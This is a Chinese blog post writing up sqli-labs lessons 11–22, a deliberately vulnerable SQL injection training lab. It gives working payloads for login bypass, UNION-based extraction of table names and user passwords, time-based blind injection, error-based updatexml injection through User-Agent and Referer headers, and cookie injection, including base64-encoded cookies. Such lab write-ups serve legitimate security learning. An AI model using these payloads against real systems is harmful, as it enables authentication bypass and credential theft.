<!DOCTYPE HTML>
<html lang="zh-CN">


<head>
    <meta charset="utf-8">
    <meta name="keywords" content="less11-22, 比企谷八幡">
    <meta name="description" content="用我三生烟火,换你一世迷离。">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
    <meta name="renderer" content="webkit|ie-stand|ie-comp">
    <meta name="mobile-web-app-capable" content="yes">
    <meta name="format-detection" content="telephone=no">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
    <!-- Global site tag (gtag.js) - Google Analytics -->


    <title>less11-22 | 比企谷八幡</title>
    <link rel="icon" type="image/png" href="/favicon.png">

    <link rel="stylesheet" type="text/css" href="/libs/awesome/css/all.css">
    <link rel="stylesheet" type="text/css" href="/libs/materialize/materialize.min.css">
    <link rel="stylesheet" type="text/css" href="/libs/aos/aos.css">
    <link rel="stylesheet" type="text/css" href="/libs/animate/animate.min.css">
    <link rel="stylesheet" type="text/css" href="/libs/lightGallery/css/lightgallery.min.css">
    <link rel="stylesheet" type="text/css" href="/css/matery.css">
    <link rel="stylesheet" type="text/css" href="/css/my.css">

    <script src="/libs/jquery/jquery.min.js"></script>

<meta name="generator" content="Hexo 4.2.1"><link rel="alternate" href="/atom.xml" title="比企谷八幡" type="application/atom+xml">
<link rel="stylesheet" href="/css/prism-tomorrow.css" type="text/css"></head>


<body>
    <header class="navbar-fixed">
    <nav id="headNav" class="bg-color nav-transparent">
        <div id="navContainer" class="nav-wrapper container">
            <div class="brand-logo">
                <a href="/" class="waves-effect waves-light">
                    
                    <img src="/medias/logo.png" class="logo-img" alt="LOGO">
                    
                    <span class="logo-span">比企谷八幡</span>
                </a>
            </div>
            

<a href="#" data-target="mobile-nav" class="sidenav-trigger button-collapse"><i class="fas fa-bars"></i></a>
<ul class="right nav-menu">
  
  <li class="hide-on-med-and-down nav-item">
    
    <a href="/" class="waves-effect waves-light">
      
      <i class="fas fa-home" style="zoom: 0.6;"></i>
      
      <span>首页</span>
    </a>
    
  </li>
  
  <li class="hide-on-med-and-down nav-item">
    
    <a href="/tags" class="waves-effect waves-light">
      
      <i class="fas fa-tags" style="zoom: 0.6;"></i>
      
      <span>标签</span>
    </a>
    
  </li>
  
  <li class="hide-on-med-and-down nav-item">
    
    <a href="/categories" class="waves-effect waves-light">
      
      <i class="fas fa-bookmark" style="zoom: 0.6;"></i>
      
      <span>分类</span>
    </a>
    
  </li>
  
  <li class="hide-on-med-and-down nav-item">
    
    <a href="/archives" class="waves-effect waves-light">
      
      <i class="fas fa-archive" style="zoom: 0.6;"></i>
      
      <span>归档</span>
    </a>
    
  </li>
  
  <li class="hide-on-med-and-down nav-item">
    
    <a href="/about" class="waves-effect waves-light">
      
      <i class="fas fa-user-circle" style="zoom: 0.6;"></i>
      
      <span>关于</span>
    </a>
    
  </li>
  
  <li class="hide-on-med-and-down nav-item">
    
    <a href="/contact" class="waves-effect waves-light">
      
      <i class="fas fa-comments" style="zoom: 0.6;"></i>
      
      <span>留言板</span>
    </a>
    
  </li>
  
  <li class="hide-on-med-and-down nav-item">
    
    <a href="/friends" class="waves-effect waves-light">
      
      <i class="fas fa-address-book" style="zoom: 0.6;"></i>
      
      <span>友情链接</span>
    </a>
    
  </li>
  
  <li>
    <a href="#searchModal" class="modal-trigger waves-effect waves-light">
      <i id="searchIcon" class="fas fa-search" title="搜索" style="zoom: 0.85;"></i>
    </a>
  </li>
</ul>


<div id="mobile-nav" class="side-nav sidenav">

    <div class="mobile-head bg-color">
        
        <img src="/medias/logo.png" class="logo-img circle responsive-img">
        
        <div class="logo-name">比企谷八幡</div>
        <div class="logo-desc">
            
            用我三生烟火,换你一世迷离。
            
        </div>
    </div>

    

    <ul class="menu-list mobile-menu-list">
        
        <li class="m-nav-item">
	  
		<a href="/" class="waves-effect waves-light">
			
			    <i class="fa-fw fas fa-home"></i>
			
			首页
		</a>
          
        </li>
        
        <li class="m-nav-item">
	  
		<a href="/tags" class="waves-effect waves-light">
			
			    <i class="fa-fw fas fa-tags"></i>
			
			标签
		</a>
          
        </li>
        
        <li class="m-nav-item">
	  
		<a href="/categories" class="waves-effect waves-light">
			
			    <i class="fa-fw fas fa-bookmark"></i>
			
			分类
		</a>
          
        </li>
        
        <li class="m-nav-item">
	  
		<a href="/archives" class="waves-effect waves-light">
			
			    <i class="fa-fw fas fa-archive"></i>
			
			归档
		</a>
          
        </li>
        
        <li class="m-nav-item">
	  
		<a href="/about" class="waves-effect waves-light">
			
			    <i class="fa-fw fas fa-user-circle"></i>
			
			关于
		</a>
          
        </li>
        
        <li class="m-nav-item">
	  
		<a href="/contact" class="waves-effect waves-light">
			
			    <i class="fa-fw fas fa-comments"></i>
			
			留言板
		</a>
          
        </li>
        
        <li class="m-nav-item">
	  
		<a href="/friends" class="waves-effect waves-light">
			
			    <i class="fa-fw fas fa-address-book"></i>
			
			友情链接
		</a>
          
        </li>
        
        
        <li><div class="divider"></div></li>
        <li>
            <a href="https://github.com/blinkfox/hexo-theme-matery" class="waves-effect waves-light" target="_blank">
                <i class="fab fa-github-square fa-fw"></i>Fork Me
            </a>
        </li>
        
    </ul>
</div>


        </div>

        
            <style>
    .nav-transparent .github-corner {
        display: none !important;
    }

    .github-corner {
        position: absolute;
        z-index: 10;
        top: 0;
        right: 0;
        border: 0;
        transform: scale(1.1);
    }

    .github-corner svg {
        color: #0f9d58;
        fill: #fff;
        height: 64px;
        width: 64px;
    }

    .github-corner:hover .octo-arm {
        animation: a 0.56s ease-in-out;
    }

    .github-corner .octo-arm {
        animation: none;
    }

    @keyframes a {
        0%,
        to {
            transform: rotate(0);
        }
        20%,
        60% {
            transform: rotate(-25deg);
        }
        40%,
        80% {
            transform: rotate(10deg);
        }
    }
</style>

<a href="https://github.com/blinkfox/hexo-theme-matery" class="github-corner tooltipped hide-on-med-and-down" target="_blank"
   data-tooltip="Fork Me" data-position="left" data-delay="50">
    <svg viewBox="0 0 250 250" aria-hidden="true">
        <path d="M0,0 L115,115 L130,115 L142,142 L250,250 L250,0 Z"></path>
        <path d="M128.3,109.0 C113.8,99.7 119.0,89.6 119.0,89.6 C122.0,82.7 120.5,78.6 120.5,78.6 C119.2,72.0 123.4,76.3 123.4,76.3 C127.3,80.9 125.5,87.3 125.5,87.3 C122.9,97.6 130.6,101.9 134.4,103.2"
              fill="currentColor" style="transform-origin: 130px 106px;" class="octo-arm"></path>
        <path d="M115.0,115.0 C114.9,115.1 118.7,116.5 119.8,115.4 L133.7,101.6 C136.9,99.2 139.9,98.4 142.2,98.6 C133.8,88.0 127.5,74.4 143.8,58.0 C148.5,53.4 154.0,51.2 159.7,51.0 C160.3,49.4 163.2,43.6 171.4,40.1 C171.4,40.1 176.1,42.5 178.8,56.2 C183.1,58.6 187.2,61.8 190.9,65.4 C194.5,69.0 197.7,73.2 200.1,77.6 C213.8,80.2 216.3,84.9 216.3,84.9 C212.7,93.1 206.9,96.0 205.4,96.6 C205.1,102.4 203.0,107.8 198.3,112.5 C181.9,128.9 168.3,122.5 157.7,114.1 C157.9,116.9 156.7,120.9 152.7,124.9 L141.0,136.5 C139.8,137.7 141.6,141.9 141.8,141.8 Z"
              fill="currentColor" class="octo-body"></path>
    </svg>
</a>
        
    </nav>

</header>

    



<div class="bg-cover pd-header post-cover" style="background-image: url('/medias/featureimages/20.jpg')">
    <div class="container" style="right: 0px;left: 0px;">
        <div class="row">
            <div class="col s12 m12 l12">
                <div class="brand">
                    <h1 class="description center-align post-title">less11-22</h1>
                </div>
            </div>
        </div>
    </div>
</div>




<main class="post-container content">

    
    <link rel="stylesheet" href="/libs/tocbot/tocbot.css">
<style>
    #articleContent h1::before,
    #articleContent h2::before,
    #articleContent h3::before,
    #articleContent h4::before,
    #articleContent h5::before,
    #articleContent h6::before {
        display: block;
        content: " ";
        height: 100px;
        margin-top: -100px;
        visibility: hidden;
    }

    #articleContent :focus {
        outline: none;
    }

    .toc-fixed {
        position: fixed;
        top: 64px;
    }

    .toc-widget {
        width: 345px;
        padding-left: 20px;
    }

    .toc-widget .toc-title {
        margin: 35px 0 15px 0;
        padding-left: 17px;
        font-size: 1.5rem;
        font-weight: bold;
        line-height: 1.5rem;
    }

    .toc-widget ol {
        padding: 0;
        list-style: none;
    }

    #toc-content {
        height: calc(100vh - 250px);
        overflow: auto;
    }

    #toc-content ol {
        padding-left: 10px;
    }

    #toc-content ol li {
        padding-left: 10px;
    }

    #toc-content .toc-link:hover {
        color: #42b983;
        font-weight: 700;
        text-decoration: underline;
    }

    #toc-content .toc-link::before {
        background-color: transparent;
        max-height: 25px;

        position: absolute;
        right: 23.5vw;
        display: block;
    }

    #toc-content .is-active-link {
        color: #42b983;
    }

    #floating-toc-btn {
        position: fixed;
        right: 15px;
        bottom: 76px;
        padding-top: 15px;
        margin-bottom: 0;
        z-index: 998;
    }

    #floating-toc-btn .btn-floating {
        width: 48px;
        height: 48px;
    }

    #floating-toc-btn .btn-floating i {
        line-height: 48px;
        font-size: 1.4rem;
    }
</style>
<div class="row">
    <div id="main-content" class="col s12 m12 l9">
        <!-- 文章内容详情 -->
<div id="artDetail">
    <div class="card">
        <div class="card-content article-info">
            <div class="row tag-cate">
                <div class="col s7">
                    
                    <div class="article-tag">
                        
                            <a href="/tags/sqli-labs/">
                                <span class="chip bg-color">sqli-labs</span>
                            </a>
                        
                            <a href="/tags/SQL%E6%B3%A8%E5%85%A5/">
                                <span class="chip bg-color">SQL注入</span>
                            </a>
                        
                    </div>
                    
                </div>
                <div class="col s5 right-align">
                    
                </div>
            </div>

            <div class="post-info">
                
                <div class="post-date info-break-policy">
                    <i class="far fa-calendar-minus fa-fw"></i>发布日期:&nbsp;&nbsp;
                    2020-11-21
                </div>
                

                
                <div class="post-date info-break-policy">
                    <i class="far fa-calendar-check fa-fw"></i>更新日期:&nbsp;&nbsp;
                    2020-12-07
                </div>
                

                
                <div class="info-break-policy">
                    <i class="far fa-file-word fa-fw"></i>文章字数:&nbsp;&nbsp;
                    2.1k
                </div>
                

                
                <div class="info-break-policy">
                    <i class="far fa-clock fa-fw"></i>阅读时长:&nbsp;&nbsp;
                    8 分
                </div>
                

                
            </div>
        </div>
        <hr class="clearfix">
        <div class="card-content article-card-content">
            <div id="articleContent">
                <ul>
<li>注1:从现在less11开始,进入post的世界了,前十关都是get请求,post请求在网址上看不见,要开Burpsuit等工具可以看到。下面为为了方便,都以F12中的抓包方式来查看表单<h2 id="一-less11"><a href="#一-less11" class="headerlink" title="一.less11"></a>一.less11</h2></li>
</ul>
<p>1.通过查看表单中的信息可以知道,less11的请求就只有简单的username和password,并且值就是我们在输入框输入的值<br><a href="https://imgchr.com/i/DlorZD" target="_blank" rel="noopener"><img src="https://s3.ax1x.com/2020/11/21/DlorZD.png" alt=""></a><br>2.假设我们已经存在账号admin，常时通过逻辑改写使用万能密码:  </p>
<pre><code>username框中输入 admin'#
password框随便输</code></pre><p>结果会发现可以也能登陆<br><a href="https://imgchr.com/i/DlIsCn" target="_blank" rel="noopener"><img src="https://s3.ax1x.com/2020/11/21/DlIsCn.png" alt=""></a></p>
<p>原理:</p>
<pre class=" language-sql"><code class="language-sql"><span class="token comment" spellcheck="true">#显然,单引号构造了admin的闭合,然后后面的代码都被注释掉了</span>
<span class="token keyword">select</span> username<span class="token punctuation">,</span>password <span class="token keyword">from</span> xx <span class="token keyword">where</span> username<span class="token operator">=</span>admin'<span class="token comment" spellcheck="true"># and password='xx' </span></code></pre>
<p>3.测试列数<br>在账号框中输入如下内容,order by 2的时候能正确返回,3的时候不返回</p>
<pre><code>admin'  order by 3#

admin'  order by 2#</code></pre><p><a href="https://imgchr.com/i/DlqCB6" target="_blank" rel="noopener"><img src="https://s3.ax1x.com/2020/11/21/DlqCB6.png" alt="返回失败的页面"></a></p>
<p><strong>* 结论:表中数据有两列*</strong></p>
<h3 id="union注入获取数据"><a href="#union注入获取数据" class="headerlink" title="union注入获取数据"></a>union注入获取数据</h3><p>注意:这里username必须是不存在的,否则会正常输出admin,然后联合查询,这样的话username和password就会对应查找到联合查询的值</p>
<pre><code>Username：1admin'union select 1,database()# passwd=1（任意密码）</code></pre><p><a href="https://imgchr.com/i/D3ZWxs" target="_blank" rel="noopener"><img src="https://s3.ax1x.com/2020/11/21/D3ZWxs.png" alt="获取数据库名"></a></p>
<p> <strong>*由此我们可以发现,把账号名按章上面的格式输入,密码随便输,可以回显想要的数据。找到注入点后,可以开始获取敏感数据了,获取数据库名,接着获取表名,然后获取列名,最后把整个列的数据爆破出来    *</strong></p>
<p>下面做一下完整演示,只写username框的内容(其实这些语句前面已经讲过了,less1中有给出爆数据库中各个数据的方法,重点在于找到注入点):</p>
<ul>
<li>1.获取当前数据库名<pre><code>1admin'union select 1,database()# passwd=1（任意密码）</code></pre><ul>
<li>2.获取所有表名(由1知数据库名security) <pre><code>1admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema="security"# </code></pre></li>
</ul>
</li>
</ul>
<ul>
<li><p>3.获取user表中所有数据</p>
<pre><code>1admin union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+</code></pre></li>
<li><p>4.爆数据</p>
</li>
</ul>
<pre><code>把id=2的username和password找出来
1adimin union select 1,username,password from users where id=2 --+</code></pre><h2 id="二-less12"><a href="#二-less12" class="headerlink" title="二.less12"></a>二.less12</h2><p>双引号单括号闭合: (“admin”),其余不变</p>
<h2 id="三-less13"><a href="#三-less13" class="headerlink" title="三.less13"></a>三.less13</h2><p>1.首先测试 admin ,发现由报错<br><a href="https://imgchr.com/i/D3NqHS" target="_blank" rel="noopener"><img src="https://s3.ax1x.com/2020/11/21/D3NqHS.png" alt="D3NqHS.png"></a><br><strong><em>所以判断出是单引号+单括号的闭合: (‘admin’)</em></strong><br>登陆成功的用户名:</p>
<pre><code>admin')#</code></pre><p>2.当登陆成功时,页面不会由任何数据回显,但是会显示successfully，所以判断这是布尔盲注,盲注手法不再赘述<br><a href="https://imgchr.com/i/D3UiHU" target="_blank" rel="noopener"><img src="https://s3.ax1x.com/2020/11/21/D3UiHU.png" alt="D3UiHU.png"></a></p>
<h2 id="四-less14"><a href="#四-less14" class="headerlink" title="四.less14"></a>四.less14</h2><p>依旧是盲注<br><strong><em>本题重点还判断是闭合类型</em></strong><br>1.首先测试单引号’,发现没有报错回显,测试”,有报错回显<br><a href="https://imgchr.com/i/D3U4VU" target="_blank" rel="noopener"><img src="https://s3.ax1x.com/2020/11/21/D3U4VU.png" alt=""></a><br><strong><em>判断出是双引号闭合：”admin”</em></strong></p>
<pre><code>admin"#</code></pre><p>其他的同less13</p>
<h2 id="五-less15"><a href="#五-less15" class="headerlink" title="五.less15"></a>五.less15</h2><p>本关没有任何提示,在猜测闭合类型的时候,只能慢慢试(本关是单引号闭合)<br>思路:<br>可以用下面四种最基础的闭合方式试试哪种能实现万能登陆</p>
<pre><code>admin1' or 1=1#  (这关这里可以过)
admi1n') or 1=1# 
admi1n" or 1=1#
admi1n") or 1=1#</code></pre><p>用延时注入进行猜解,不赘述</p>
<h2 id="六-less16"><a href="#六-less16" class="headerlink" title="六.less16"></a>六.less16</h2><p>同less15,本关的闭合类型是双引号+单括号闭合,测试方法和其余的地方同less15</p>
<h1 id="七-less17"><a href="#七-less17" class="headerlink" title="七,less17"></a>七,less17</h1><p>本关username被经过特殊处理不能在此处注入（check_input函数会对username进行处理）,所以只能考虑在password处注入,这样的话username必须要是存在的,我们给admin,本关依旧是盲注,手法同上不再赘述,登陆成功和失败有不同响应<br><a href="https://imgchr.com/i/D3LnzQ" target="_blank" rel="noopener"><img src="https://s3.ax1x.com/2020/11/22/D3LnzQ.png" alt="chech_input函数"></a><br>其实这个函数的大致原理就是取除非法字符,比如单引号,双引号,反斜杠,null</p>
<p>以延时注入猜解为例</p>
<pre><code>username:admin
password:11'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#</code></pre><h2 id="七-总结-less11-17"><a href="#七-总结-less11-17" class="headerlink" title="七.总结(less11-17)"></a>七.总结(less11-17)</h2><p>步骤:  </p>
<ul>
<li><p>1.先通过尝试构造闭合,测试自己构造的payload能否执行,比如username和密码乱输然后后面加 or 1=1,测试是否能登陆成功,如果登陆成功则构造闭合成功 </p>
</li>
<li><p>2.构造成功后,判断注入手法:<br>less11-12都会在登陆成功时输出登陆成功的账号密码,所以可以依靠这个输出敏感信息.<br>less13-16都是盲注只能猜解,其中less13-14有报错提示,less15到16没有,只有登陆成功和登陆失败的提示,所以后者只能慢慢尝试构造闭合<br>less17的username在代码层面进行了特殊处理所以不能用username来注入，在password处注入手法同username,但是用户名一定要是存在的</p>
</li>
</ul>
<hr>
<h2 id="八-less18"><a href="#八-less18" class="headerlink" title="八.less18"></a>八.less18</h2><p>本关对username和password全部进行check_input的处理,所以不能通过构造闭合在不登陆成功的情况下进行注入了  </p>
<p>下面是输入正确账号密码时的回显结果<br><a href="https://imgchr.com/i/D80Pcd" target="_blank" rel="noopener"><img src="https://s3.ax1x.com/2020/11/22/D80Pcd.png" alt="登陆成功时显示的结果"></a><br>回显useragent和ip地址<br>从源码中我们找到了这句插入的sql语句<br><a href="https://imgchr.com/i/D80m4S" target="_blank" rel="noopener"><img src="https://s3.ax1x.com/2020/11/22/D80m4S.png" alt="插入的sql语句"></a></p>
<pre class=" language-SQL"><code class="language-SQL">$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";</code></pre>
<p>插入的sql语句表示向uagents这张表中插入uagent(也就是User-Agent),ip,username<br><strong><em>通过上面的分析,我们知道可以在请求头处对useragent进行注入然后靠回显出我们想要的信息</em></strong></p>
<p>这里推荐使用火狐的插件  ModHeader,可以直接对请求头进行构造<br>构造方法(直接往ModHeader中加入下面其中依据代码然后正确登陆界面):<br><a href="https://imgchr.com/i/D80fvd" target="_blank" rel="noopener"><img src="https://s3.ax1x.com/2020/11/22/D80fvd.png" alt="D80fvd.png"></a></p>
<pre><code>#下面concat中的第二个参数随便改,可以用子查询,用less1中爆库语句来获取所有想要的信息
' or updatexml(1,concat(0x7e,database()),1) or '1'='1

' or updatexml(1,concat(0x7e,database()),1),'','')#</code></pre><p><a href="https://imgchr.com/i/D8s1RU" target="_blank" rel="noopener"><img src="https://s3.ax1x.com/2020/11/22/D8s1RU.png" alt="结果"></a><br><strong><em>注:values中不能用子查询,语法错误,所以这里需要使用报错注入不能直接select</em></strong><br><strong><em>分析:对于values中的 ‘$uagent’,左右有两个单引号,所以在上面的代码中第一个’是为了构造闭合,然后对对于上面的第一个式子,or 要执行的标量表达式 or ‘1’=’1,其中最后一个1没有手动加右单引号,这样原先的的右单引号才能形成闭合，也就是’1’=’1’。第二个式子是直接自己构造全部的values,然后把原先的注释掉了(less19中详细讲这种方法)</em></strong><br>补充:关于updatexm的想借可以看<br><a href="https://blog.csdn.net/weixin_43326436/article/details/106525909" target="_blank" rel="noopener">https://blog.csdn.net/weixin_43326436/article/details/106525909</a><br><a href="https://blog.csdn.net/weixin_43326436/article/details/106525909" target="_blank" rel="noopener">updatexml的用法</a><br>下面是天书中的简要概述,可以翻回去看,concat中的参数至少要两个</p>
<pre><code>extractvalue(1,concat(0x7e,(select @@version),0x7e))    
//mysql对xml数据进行查询和修改的xpath函数，xpath语法错误
updatexml(1,concat(0x7e,(select @@version),0x7e),1)    
//mysql对xml数据进行查询和修改的xpath函数，xpath语法错误
</code></pre><h2 id="九-less19"><a href="#九-less19" class="headerlink" title="九.less19"></a>九.less19</h2><p>本关输入正确的账号密码后显示的内容：</p>
<p>本关和less18几乎一样,只不过把useragent改成了referers,这两项都是在请求头里的我们可以通过手动更改,手法同less18,不再赘述</p>
<p>网页源码</p>
<pre><code>$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";</code></pre><p>以获取数据库名为例子(无意中发现了一个问题):</p>
<pre><code>#下面三个都可以(在less18中同理也行)
'or updatexml(1,concat(0x7e,database()),1),'','')#
'or updatexml(1,concat(0x7e,database()),1),'')#
'or updatexml(1,concat(0x7e,database()),1))#</code></pre><p><strong><em>上面三种写法都可行的原因:我猜测是因为在用updatexml函数进行报错后下面的代码可能就不执行了</em></strong></p>
<h2 id="十-less20"><a href="#十-less20" class="headerlink" title="十.less20"></a>十.less20</h2><p>本关开始是对cookie信息的注入来获取信息<br>推荐插件:cookie edit</p>
<p><a href="https://imgchr.com/i/D8fkuT" target="_blank" rel="noopener"><img src="https://s3.ax1x.com/2020/11/22/D8fkuT.png" alt="最初的页面"></a><br><a href="https://imgchr.com/i/D8WxEQ" target="_blank" rel="noopener"><img src="https://s3.ax1x.com/2020/11/22/D8WxEQ.png" alt="cookie注入后"></a><br>cookie的uname里原先的admin,我们直接构造闭合然后联合注入</p>
<pre><code>'union select 1,2,database()#</code></pre><h2 id="十一-less21"><a href="#十一-less21" class="headerlink" title="十一:less21"></a>十一:less21</h2><p>本关依旧是cookie注入,但是cookie的值经过了base64位加密(大部分cookie会采用的手法)<br><a href="https://imgchr.com/i/D8buPU" target="_blank" rel="noopener"><img src="https://s3.ax1x.com/2020/11/22/D8buPU.png" alt=""></a><br><a href="http://tools.bugscaner.com/base64/" target="_blank" rel="noopener">http://tools.bugscaner.com/base64/</a><br><strong><em>注:不是所有的网站解码都是正确的,有一些是有问题的,可以找几个网站做一下循环验证</em></strong></p>
<p>本关在cookie中注入下面的编码会报错</p>
<pre><code>'union select 1,2,database()#</code></pre><p>通过报错信息易得应该是单引号+单括号闭合，正解如下,就</p>
<pre><code>')union select 1,2,database()#</code></pre><p><a href="https://imgchr.com/i/D8LpcQ" target="_blank" rel="noopener"><img src="https://s3.ax1x.com/2020/11/22/D8LpcQ.png" alt="结果"></a></p>
<h2 id="十二-less22"><a href="#十二-less22" class="headerlink" title="十二.less22"></a>十二.less22</h2><p>本关同less11,只不过改成了双引号闭合而已,同昂需要加密</p>
<pre><code>"union select 1,2,database()#</code></pre><h2 id="十三-总结-less18-22"><a href="#十三-总结-less18-22" class="headerlink" title="十三.总结(less18-22)"></a>十三.总结(less18-22)</h2><p>手法总结:</p>
<ul>
<li>1.cookie非加密注入</li>
<li>2.cookie加密注入</li>
</ul>
<script>
        document.querySelectorAll('.github-emoji')
          .forEach(el => {
            if (!el.dataset.src) { return; }
            const img = document.createElement('img');
            img.style = 'display:none !important;';
            img.src = el.dataset.src;
            img.addEventListener('error', () => {
              img.remove();
              el.style.color = 'inherit';
              el.style.backgroundImage = 'none';
              el.style.background = 'none';
            });
            img.addEventListener('load', () => {
              img.remove();
            });
            document.body.appendChild(img);
          });
      </script>
            </div>
            <hr/>

            

    <div class="reprint" id="reprint-statement">
        
            <div class="reprint__author">
                <span class="reprint-meta" style="font-weight: bold;">
                    <i class="fas fa-user">
                        文章作者:
                    </i>
                </span>
                <span class="reprint-info">
                    <a href="/about" rel="external nofollow noreferrer">灿若星河</a>
                </span>
            </div>
            <div class="reprint__type">
                <span class="reprint-meta" style="font-weight: bold;">
                    <i class="fas fa-link">
                        文章链接:
                    </i>
                </span>
                <span class="reprint-info">
                    <a href="https://1766095699.github.io/2020/11/21/less11-22/">https://1766095699.github.io/2020/11/21/less11-22/</a>
                </span>
            </div>
            <div class="reprint__notice">
                <span class="reprint-meta" style="font-weight: bold;">
                    <i class="fas fa-copyright">
                        版权声明:
                    </i>
                </span>
                <span class="reprint-info">
                    本博客所有文章除特別声明外，均采用
                    <a href="https://creativecommons.org/licenses/by/4.0/deed.zh" rel="external nofollow noreferrer" target="_blank">CC BY 4.0</a>
                    许可协议。转载请注明来源
                    <a href="/about" target="_blank">灿若星河</a>
                    !
                </span>
            </div>
        
    </div>

    <script async defer>
      document.addEventListener("copy", function (e) {
        let toastHTML = '<span>复制成功，请遵循本文的转载规则</span><button class="btn-flat toast-action" onclick="navToReprintStatement()" style="font-size: smaller">查看</a>';
        M.toast({html: toastHTML})
      });

      function navToReprintStatement() {
        $("html, body").animate({scrollTop: $("#reprint-statement").offset().top - 80}, 800);
      }
    </script>



            <div class="tag_share" style="display: block;">
                <div class="post-meta__tag-list" style="display: inline-block;">
                    
                        <div class="article-tag">
                            
                                <a href="/tags/sqli-labs/">
                                    <span class="chip bg-color">sqli-labs</span>
                                </a>
                            
                                <a href="/tags/SQL%E6%B3%A8%E5%85%A5/">
                                    <span class="chip bg-color">SQL注入</span>
                                </a>
                            
                        </div>
                    
                </div>
                <div class="post_share" style="zoom: 80%; width: fit-content; display: inline-block; float: right; margin: -0.15rem 0;">
                    <link rel="stylesheet" type="text/css" href="/libs/share/css/share.min.css">
<div id="article-share">

    
    <div class="social-share" data-sites="twitter,facebook,google,qq,qzone,wechat,weibo,douban,linkedin" data-wechat-qrcode-helper="<p>微信扫一扫即可分享！</p>"></div>
    <script src="/libs/share/js/social-share.min.js"></script>
    

    

</div>

                </div>
            </div>
            
        </div>
    </div>

    
        <link rel="stylesheet" href="/libs/gitalk/gitalk.css">
<link rel="stylesheet" href="/css/my-gitalk.css">

<div class="card gitalk-card" data-aos="fade-up">
    <div class="comment_headling" style="font-size: 20px; font-weight: 700; position: relative; padding-left: 20px; top: 15px; padding-bottom: 5px;">
        <i class="fas fa-comments fa-fw" aria-hidden="true"></i>
        <span>评论</span>
    </div>
    <div id="gitalk-container" class="card-content"></div>
</div>

<script src="/libs/gitalk/gitalk.min.js"></script>
<script>
    let gitalk = new Gitalk({
        clientID: '',
        clientSecret: '',
        repo: '',
        owner: '',
        admin: null,
        id: '2020-11-21T10-00-14',
        distractionFreeMode: false  // Facebook-like distraction free mode
    });

    gitalk.render('gitalk-container');
</script>

    

    

    

    

    

    

    

<article id="prenext-posts" class="prev-next articles">
    <div class="row article-row">
        
        <div class="article col s12 m6" data-aos="fade-up">
            <div class="article-badge left-badge text-color">
                <i class="fas fa-chevron-left"></i>&nbsp;上一篇</div>
            <div class="card">
                <a href="/2020/11/21/less23-37/">
                    <div class="card-image">
                        
                        
                        <img src="/medias/featureimages/23.jpg" class="responsive-img" alt="less23-37">
                        
                        <span class="card-title">less23-37</span>
                    </div>
                </a>
                <div class="card-content article-content">
                    <div class="summary block-with-text">
                        
                            一.less23本关不能用–+来进行输出,源码中自动换成空格了
通过单引号测试获得的报错信息得知是单引号闭合猜测原sql语句
select id,username,password from users where id='xx'方法一:特
                        
                    </div>
                    <div class="publish-info">
                        <span class="publish-date">
                            <i class="far fa-clock fa-fw icon-date"></i>2020-11-21
                        </span>
                        <span class="publish-author">
                            
                            <i class="fas fa-user fa-fw"></i>
                            灿若星河
                            
                        </span>
                    </div>
                </div>
                
                <div class="card-action article-tags">
                    
                    <a href="/tags/sqli-labs/">
                        <span class="chip bg-color">sqli-labs</span>
                    </a>
                    
                    <a href="/tags/SQL%E6%B3%A8%E5%85%A5/">
                        <span class="chip bg-color">SQL注入</span>
                    </a>
                    
                </div>
                
            </div>
        </div>
        
        
        <div class="article col s12 m6" data-aos="fade-up">
            <div class="article-badge right-badge text-color">
                下一篇&nbsp;<i class="fas fa-chevron-right"></i>
            </div>
            <div class="card">
                <a href="/2020/11/20/less5-10/">
                    <div class="card-image">
                        
                        
                        <img src="/medias/featureimages/8.jpg" class="responsive-img" alt="less5-10">
                        
                        <span class="card-title">less5-10</span>
                    </div>
                </a>
                <div class="card-content article-content">
                    <div class="summary block-with-text">
                        
                            
注1:从本节开始忽略order by的步骤,因为都是3所以为了方便不再进行赘述
注2:less5-10中,除了less7要求是用outfile 的方式来进行注入,其他的关卡界面都一样,只有sql语句返回true才会显示语句,否则不显示如下
                        
                    </div>
                    <div class="publish-info">
                            <span class="publish-date">
                                <i class="far fa-clock fa-fw icon-date"></i>2020-11-20
                            </span>
                        <span class="publish-author">
                            
                            <i class="fas fa-user fa-fw"></i>
                            灿若星河
                            
                        </span>
                    </div>
                </div>
                
                <div class="card-action article-tags">
                    
                    <a href="/tags/sqli-labs/">
                        <span class="chip bg-color">sqli-labs</span>
                    </a>
                    
                    <a href="/tags/SQL%E6%B3%A8%E5%85%A5/">
                        <span class="chip bg-color">SQL注入</span>
                    </a>
                    
                </div>
                
            </div>
        </div>
        
    </div>
</article>

</div>



<!-- 代码块功能依赖 -->
<script type="text/javascript" src="/libs/codeBlock/codeBlockFuction.js"></script>

<!-- 代码语言 -->

<script type="text/javascript" src="/libs/codeBlock/codeLang.js"></script>


<!-- 代码块复制 -->

<script type="text/javascript" src="/libs/codeBlock/codeCopy.js"></script>


<!-- 代码块收缩 -->

<script type="text/javascript" src="/libs/codeBlock/codeShrink.js"></script>


<!-- 代码块折行 -->

<style type="text/css">
code[class*="language-"], pre[class*="language-"] { white-space: pre !important; }
</style>


    </div>
    <div id="toc-aside" class="expanded col l3 hide-on-med-and-down">
        <div class="toc-widget">
            <div class="toc-title"><i class="far fa-list-alt"></i>&nbsp;&nbsp;目录</div>
            <div id="toc-content"></div>
        </div>
    </div>
</div>

<!-- TOC 悬浮按钮. -->

<div id="floating-toc-btn" class="hide-on-med-and-down">
    <a class="btn-floating btn-large bg-color">
        <i class="fas fa-list-ul"></i>
    </a>
</div>


<script src="/libs/tocbot/tocbot.min.js"></script>
<script>
    $(function () {
        tocbot.init({
            tocSelector: '#toc-content',
            contentSelector: '#articleContent',
            headingsOffset: -($(window).height() * 0.4 - 45),
            collapseDepth: Number('0'),
            headingSelector: 'h2, h3, h4'
        });

        // modify the toc link href to support Chinese.
        let i = 0;
        let tocHeading = 'toc-heading-';
        $('#toc-content a').each(function () {
            $(this).attr('href', '#' + tocHeading + (++i));
        });

        // modify the heading title id to support Chinese.
        i = 0;
        $('#articleContent').children('h2, h3, h4').each(function () {
            $(this).attr('id', tocHeading + (++i));
        });

        // Set scroll toc fixed.
